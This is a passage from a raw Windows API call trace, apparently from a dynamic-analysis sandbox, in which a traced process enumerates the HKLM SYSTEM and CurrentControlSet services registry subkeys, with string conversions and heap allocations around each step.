cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.723] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.723] RegCloseKey (hKey=0x80000002) returned 0x0 [0230.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0230.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0230.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.725] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0230.725] RegCloseKey (hKey=0xc4) returned 0x0 [0230.726] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.726] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.726] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.726] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0230.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.727] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.727] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.727] RegCloseKey (hKey=0x148) returned 0x0 [0230.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0230.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.728] 